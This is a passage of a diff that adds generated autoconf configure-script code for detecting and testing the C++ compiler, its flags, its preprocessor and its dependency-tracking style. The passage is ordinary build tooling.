+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_CXX="$ac_prog"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+ac_ct_CXX=$ac_cv_prog_ac_ct_CXX
+if test -n "$ac_ct_CXX"; then
+  echo "$as_me:$LINENO: result: $ac_ct_CXX" >&5
+echo "${ECHO_T}$ac_ct_CXX" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  test -n "$ac_ct_CXX" && break
+done
+test -n "$ac_ct_CXX" || ac_ct_CXX="g++"
+
+  CXX=$ac_ct_CXX
+fi
+
+
+# Provide some information about the compiler.
+echo "$as_me:$LINENO:" \
+     "checking for C++ compiler version" >&5
+ac_compiler=`set X $ac_compile; echo $2`
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version </dev/null >&5\"") >&5
+  (eval $ac_compiler --version </dev/null >&5) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v </dev/null >&5\"") >&5
+  (eval $ac_compiler -v </dev/null >&5) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V </dev/null >&5\"") >&5
+  (eval $ac_compiler -V </dev/null >&5) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+
+echo "$as_me:$LINENO: checking whether we are using the GNU C++ compiler" >&5
+echo $ECHO_N "checking whether we are using the GNU C++ compiler... $ECHO_C" >&6
+if test "${ac_cv_cxx_compiler_gnu+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+#ifndef __GNUC__
+       choke me
+#endif
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_compiler_gnu=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_compiler_gnu=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+ac_cv_cxx_compiler_gnu=$ac_compiler_gnu
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_cxx_compiler_gnu" >&5
+echo "${ECHO_T}$ac_cv_cxx_compiler_gnu" >&6
+GXX=`test $ac_compiler_gnu = yes && echo yes`
+ac_test_CXXFLAGS=${CXXFLAGS+set}
+ac_save_CXXFLAGS=$CXXFLAGS
+CXXFLAGS="-g"
+echo "$as_me:$LINENO: checking whether $CXX accepts -g" >&5
+echo $ECHO_N "checking whether $CXX accepts -g... $ECHO_C" >&6
+if test "${ac_cv_prog_cxx_g+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_prog_cxx_g=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_prog_cxx_g=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_cxx_g" >&5
+echo "${ECHO_T}$ac_cv_prog_cxx_g" >&6
+if test "$ac_test_CXXFLAGS" = set; then
+  CXXFLAGS=$ac_save_CXXFLAGS
+elif test $ac_cv_prog_cxx_g = yes; then
+  if test "$GXX" = yes; then
+    CXXFLAGS="-g -O2"
+  else
+    CXXFLAGS="-g"
+  fi
+else
+  if test "$GXX" = yes; then
+    CXXFLAGS="-O2"
+  else
+    CXXFLAGS=
+  fi
+fi
+for ac_declaration in \
+   '' \
+   'extern "C" void std::exit (int) throw (); using std::exit;' \
+   'extern "C" void std::exit (int); using std::exit;' \
+   'extern "C" void exit (int) throw ();' \
+   'extern "C" void exit (int);' \
+   'void exit (int);'
+do
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_declaration
+#include <stdlib.h>
+int
+main ()
+{
+exit (42);
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  :
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+continue
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+$ac_declaration
+int
+main ()
+{
+exit (42);
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  break
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+done
+rm -f conftest*
+if test -n "$ac_declaration"; then
+  echo '#ifdef __cplusplus' >>confdefs.h
+  echo $ac_declaration      >>confdefs.h
+  echo '#endif'             >>confdefs.h
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+depcc="$CXX"  am_compiler_list=
+
+echo "$as_me:$LINENO: checking dependency style of $depcc" >&5
+echo $ECHO_N "checking dependency style of $depcc... $ECHO_C" >&6
+if test "${am_cv_CXX_dependencies_compiler_type+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -z "$AMDEP_TRUE" && test -f "$am_depcomp"; then
+  # We make a subdir and do the tests there.  Otherwise we can end up
+  # making bogus files that we don't know about and never remove.  For
+  # instance it was reported that on HP-UX the gcc test will end up
+  # making a dummy file named `D' -- because `-MD' means `put the output
+  # in D'.
+  mkdir conftest.dir
+  # Copy depcomp to subdir because otherwise we won't find it if we're
+  # using a relative directory.
+  cp "$am_depcomp" conftest.dir
+  cd conftest.dir
+  # We will build objects and dependencies in a subdirectory because
+  # it helps to detect inapplicable dependency modes.  For instance
+  # both Tru64's cc and ICC support -MD to output dependencies as a
+  # side effect of compilation, but ICC will put the dependencies in
+  # the current directory while Tru64 will put them in the object
+  # directory.
+  mkdir sub
+
+  am_cv_CXX_dependencies_compiler_type=none
+  if test "$am_compiler_list" = ""; then
+     am_compiler_list=`sed -n 's/^#*\([a-zA-Z0-9]*\))$/\1/p' < ./depcomp`
+  fi
+  for depmode in $am_compiler_list; do
+    # Setup a source with many dependencies, because some compilers
+    # like to wrap large dependency lists on column 80 (with \), and
+    # we should not choose a depcomp mode which is confused by this.
+    #
+    # We need to recreate these files for each test, as the compiler may
+    # overwrite some of them when testing with obscure command lines.
+    # This happens at least with the AIX C compiler.
+    : > sub/conftest.c
+    for i in 1 2 3 4 5 6; do
+      echo '#include "conftst'$i'.h"' >> sub/conftest.c
+      # Using `: > sub/conftst$i.h' creates only sub/conftst1.h with
+      # Solaris 8's {/usr,}/bin/sh.
+      touch sub/conftst$i.h
+    done
+    echo "${am__include} ${am__quote}sub/conftest.Po${am__quote}" > confmf
+
+    case $depmode in
+    nosideeffect)
+      # after this tag, mechanisms are not by side-effect, so they'll
+      # only be used when explicitly requested
+      if test "x$enable_dependency_tracking" = xyes; then
+	continue
+      else
+	break
+      fi
+      ;;
+    none) break ;;
+    esac
+    # We check with `-c' and `-o' for the sake of the "dashmstdout"
+    # mode.  It turns out that the SunPro C++ compiler does not properly
+    # handle `-M -o', and we need to detect this.
+    if depmode=$depmode \
+       source=sub/conftest.c object=sub/conftest.${OBJEXT-o} \
+       depfile=sub/conftest.Po tmpdepfile=sub/conftest.TPo \
+       $SHELL ./depcomp $depcc -c -o sub/conftest.${OBJEXT-o} sub/conftest.c \
+         >/dev/null 2>conftest.err &&
+       grep sub/conftst6.h sub/conftest.Po > /dev/null 2>&1 &&
+       grep sub/conftest.${OBJEXT-o} sub/conftest.Po > /dev/null 2>&1 &&
+       ${MAKE-make} -s -f confmf > /dev/null 2>&1; then
+      # icc doesn't choke on unknown options, it will just issue warnings
+      # or remarks (even with -Werror).  So we grep stderr for any message
+      # that says an option was ignored or not supported.
+      # When given -MP, icc 7.0 and 7.1 complain thusly:
+      #   icc: Command line warning: ignoring option '-M'; no argument required
+      # The diagnosis changed in icc 8.0:
+      #   icc: Command line remark: option '-MP' not supported
+      if (grep 'ignoring option' conftest.err ||
+          grep 'not supported' conftest.err) >/dev/null 2>&1; then :; else
+        am_cv_CXX_dependencies_compiler_type=$depmode
+        break
+      fi
+    fi
+  done
+
+  cd ..
+  rm -rf conftest.dir
+else
+  am_cv_CXX_dependencies_compiler_type=none
+fi
+
+fi
+echo "$as_me:$LINENO: result: $am_cv_CXX_dependencies_compiler_type" >&5
+echo "${ECHO_T}$am_cv_CXX_dependencies_compiler_type" >&6
+CXXDEPMODE=depmode=$am_cv_CXX_dependencies_compiler_type
+
+
+
+if
+  test "x$enable_dependency_tracking" != xno \
+  && test "$am_cv_CXX_dependencies_compiler_type" = gcc3; then
+  am__fastdepCXX_TRUE=
+  am__fastdepCXX_FALSE='#'
+else
+  am__fastdepCXX_TRUE='#'
+  am__fastdepCXX_FALSE=
+fi
+
+
+if test -n "$CXX" && ( test "X$CXX" != "Xno" &&
+    ( (test "X$CXX" = "Xg++" && `g++ -v >/dev/null 2>&1` ) ||
+    (test "X$CXX" != "Xg++"))) ; then
+  ac_ext=cc
+ac_cpp='$CXXCPP $CPPFLAGS'
+ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
+echo "$as_me:$LINENO: checking how to run the C++ preprocessor" >&5
+echo $ECHO_N "checking how to run the C++ preprocessor... $ECHO_C" >&6
+if test -z "$CXXCPP"; then
+  if test "${ac_cv_prog_CXXCPP+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+      # Double quotes because CXXCPP needs to be expanded
+    for CXXCPP in "$CXX -E" "/lib/cpp"
+    do
+      ac_preproc_ok=false
+for ac_cxx_preproc_warn_flag in '' yes
+do
+  # Use a header file that comes with gcc, so configuring glibc
+  # with a fresh cross-compiler works.
+  # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+  # <limits.h> exists even on freestanding compilers.
+  # On the NeXT, cc -E runs the code through the compiler's parser,
+  # not just through cpp. "Syntax error" is here to catch this case.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+		     Syntax error
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_cxx_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  :
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  # Broken: fails on valid input.
+continue
+fi
+rm -f conftest.err conftest.$ac_ext
+
+  # OK, works on sane cases.  Now check whether non-existent headers
+  # can be detected and how.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <ac_nonexistent.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_cxx_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  # Broken: success on invalid input.
+continue
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  # Passes both tests.
+ac_preproc_ok=:
+break
+fi
+rm -f conftest.err conftest.$ac_ext
+
+done
+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
+rm -f conftest.err conftest.$ac_ext
+if $ac_preproc_ok; then
+  break
+fi
+
+    done
+    ac_cv_prog_CXXCPP=$CXXCPP
+
+fi
+  CXXCPP=$ac_cv_prog_CXXCPP
+else
+  ac_cv_prog_CXXCPP=$CXXCPP
+fi
+echo "$as_me:$LINENO: result: $CXXCPP" >&5
+echo "${ECHO_T}$CXXCPP" >&6
+ac_preproc_ok=false
+for ac_cxx_preproc_warn_flag in '' yes
+do
+  # Use a header file that comes with gcc, so configuring glibc
+  # with a fresh cross-compiler works.
+  # Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+  # <limits.h> exists even on freestanding compilers.
+  # On the NeXT, cc -E runs the code through the compiler's parser,
+  # not just through cpp. "Syntax error" is here to catch this case.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+		     Syntax error
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_cxx_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  :
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  # Broken: fails on valid input.
+continue
+fi
+rm -f conftest.err conftest.$ac_ext
+
+  # OK, works on sane cases.  Now check whether non-existent headers
+  # can be detected and how.
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+#include <ac_nonexistent.h>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+  (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } >/dev/null; then
+  if test -s conftest.err; then
+    ac_cpp_err=$ac_cxx_preproc_warn_flag
+    ac_cpp_err=$ac_cpp_err$ac_cxx_werror_flag
+  else
+    ac_cpp_err=
+  fi
+else
+  ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+  # Broken: success on invalid input.
+continue
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+  # Passes both tests.
+ac_preproc_ok=:
+break
+fi
+rm -f conftest.err conftest.$ac_ext
+
+done
+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
+rm -f conftest.err conftest.$ac_ext
+if $ac_preproc_ok; then
+  :
+else
+  _lt_caught_CXX_error=yes
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+else
+  _lt_caught_CXX_error=yes
+fi
+
+
+
+ac_ext=cc
+ac_cpp='$CXXCPP $CPPFLAGS'
+ac_compile='$CXX -c $CXXFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CXX -o conftest$ac_exeext $CXXFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_cxx_compiler_gnu
+if test -n "$ac_tool_prefix"; then
+  for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC
+  do
+    # Extract the first word of "$ac_tool_prefix$ac_prog", so it can be a program name with args.
+set dummy $ac_tool_prefix$ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_CXX+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$CXX"; then
+  ac_cv_prog_CXX="$CXX" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_CXX="$ac_tool_prefix$ac_prog"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+CXX=$ac_cv_prog_CXX
+if test -n "$CXX"; then
+  echo "$as_me:$LINENO: result: $CXX" >&5
+echo "${ECHO_T}$CXX" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+    test -n "$CXX" && break
+  done
+fi
+if test -z "$CXX"; then
+  ac_ct_CXX=$CXX
+  for ac_prog in $CCC g++ c++ gpp aCC CC cxx cc++ cl FCC KCC RCC xlC_r xlC
+do
+  # Extract the first word of "$ac_prog", so it can be a program name with args.
+set dummy $ac_prog; ac_word=$2
+echo "$as_me:$LINENO: checking for $ac_word" >&5
+echo $ECHO_N "checking for $ac_word... $ECHO_C" >&6
+if test "${ac_cv_prog_ac_ct_CXX+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  if test -n "$ac_ct_CXX"; then
+  ac_cv_prog_ac_ct_CXX="$ac_ct_CXX" # Let the user override the test.
+else
+as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
+for as_dir in $PATH
+do
+  IFS=$as_save_IFS
+  test -z "$as_dir" && as_dir=.
+  for ac_exec_ext in '' $ac_executable_extensions; do
+  if $as_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
+    ac_cv_prog_ac_ct_CXX="$ac_prog"
+    echo "$as_me:$LINENO: found $as_dir/$ac_word$ac_exec_ext" >&5
+    break 2
+  fi
+done
+done
+
+fi
+fi
+ac_ct_CXX=$ac_cv_prog_ac_ct_CXX
+if test -n "$ac_ct_CXX"; then
+  echo "$as_me:$LINENO: result: $ac_ct_CXX" >&5
+echo "${ECHO_T}$ac_ct_CXX" >&6
+else
+  echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+fi
+
+  test -n "$ac_ct_CXX" && break
+done
+test -n "$ac_ct_CXX" || ac_ct_CXX="g++"
+
+  CXX=$ac_ct_CXX
+fi
+
+
+# Provide some information about the compiler.
+echo "$as_me:$LINENO:" \
+     "checking for C++ compiler version" >&5
+ac_compiler=`set X $ac_compile; echo $2`
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler --version </dev/null >&5\"") >&5
+  (eval $ac_compiler --version </dev/null >&5) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -v </dev/null >&5\"") >&5
+  (eval $ac_compiler -v </dev/null >&5) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+{ (eval echo "$as_me:$LINENO: \"$ac_compiler -V </dev/null >&5\"") >&5
+  (eval $ac_compiler -V </dev/null >&5) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }
+
+echo "$as_me:$LINENO: checking whether we are using the GNU C++ compiler" >&5
+echo $ECHO_N "checking whether we are using the GNU C++ compiler... $ECHO_C" >&6
+if test "${ac_cv_cxx_compiler_gnu+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+#ifndef __GNUC__
+       choke me
+#endif
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_compiler_gnu=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_compiler_gnu=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+ac_cv_cxx_compiler_gnu=$ac_compiler_gnu
+
+fi
+echo "$as_me:$LINENO: result: $ac_cv_cxx_compiler_gnu" >&5
+echo "${ECHO_T}$ac_cv_cxx_compiler_gnu" >&6
+GXX=`test $ac_compiler_gnu = yes && echo yes`
+ac_test_CXXFLAGS=${CXXFLAGS+set}
+ac_save_CXXFLAGS=$CXXFLAGS
+CXXFLAGS="-g"
+echo "$as_me:$LINENO: checking whether $CXX accepts -g" >&5
+echo $ECHO_N "checking whether $CXX accepts -g... $ECHO_C" >&6
+if test "${ac_cv_prog_cxx_g+set}" = set; then
+  echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+  cat >conftest.$ac_ext <<_ACEOF
+/* confdefs.h.  */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h.  */
+
+int
+main ()
+{
+
+  ;
+  return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+  (eval $ac_compile) 2>conftest.er1
+  ac_status=$?
+  grep -v '^ *+' conftest.er1 >conftest.err
+  rm -f conftest.er1
+  cat conftest.err >&5
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); } &&
+	 { ac_try='test -z "$ac_cxx_werror_flag"			 || test ! -s conftest.err'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; } &&
+	 { ac_try='test -s conftest.$ac_objext'
+  { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+  (eval $ac_try) 2>&5
+  ac_status=$?
+  echo "$as_me:$LINENO: \$? = $ac_status" >&5
+  (exit $ac_status); }; }; then
+  ac_cv_prog_cxx_g=yes
+else
+  echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_prog_cxx_g=no
+fi
+rm -f conftest.err conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_cxx_g" >&5
+echo "${ECHO_T}$ac_cv_prog_cxx_g" >&6
+if test "$ac_test_CXXFLAGS" = set; then
+  CXXFLAGS=$ac_save_CXXFLAGS
+elif test $ac_cv_prog_cxx_g = yes; then
